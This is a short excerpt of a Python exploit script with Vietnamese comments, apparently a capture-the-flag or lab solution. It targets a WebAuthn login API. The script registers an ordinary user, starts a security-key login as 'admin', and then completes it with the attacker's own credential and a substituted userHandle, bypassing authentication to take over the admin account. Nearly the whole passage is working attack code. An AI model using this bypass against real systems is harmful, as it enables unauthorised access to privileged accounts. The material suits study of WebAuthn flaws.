print(f"[+] registering normal user: {username}") r = s.post(f"{BASE}/api/register/begin", json={"username": username}) expect_ok(r, "register begin") reg_begin = r.json()["publicKey"]
r = s.post(f"{BASE}/api/register/finish", json=reg_payload) expect_ok(r, "register finish") print("[+] normal user registered")
# 2) Begin login với username=admin print("[+] starting security-key login as admin") r = s.post(f"{BASE}/api/login/security-key/begin", json={"username": "admin"}) expect_ok(r, "admin login begin") login_begin = r.json()["publicKey"]
# 3) Finish login bằng credential của mình, nhưng có userHandle khác rỗng login_payload = make_assertion_payload( challenge_b64=login_begin["challenge"], origin=BASE, rp_id=rp_id, cred_id=my_cred_id, user_handle=my_user_handle, privkey=login_key, sign_count=1, )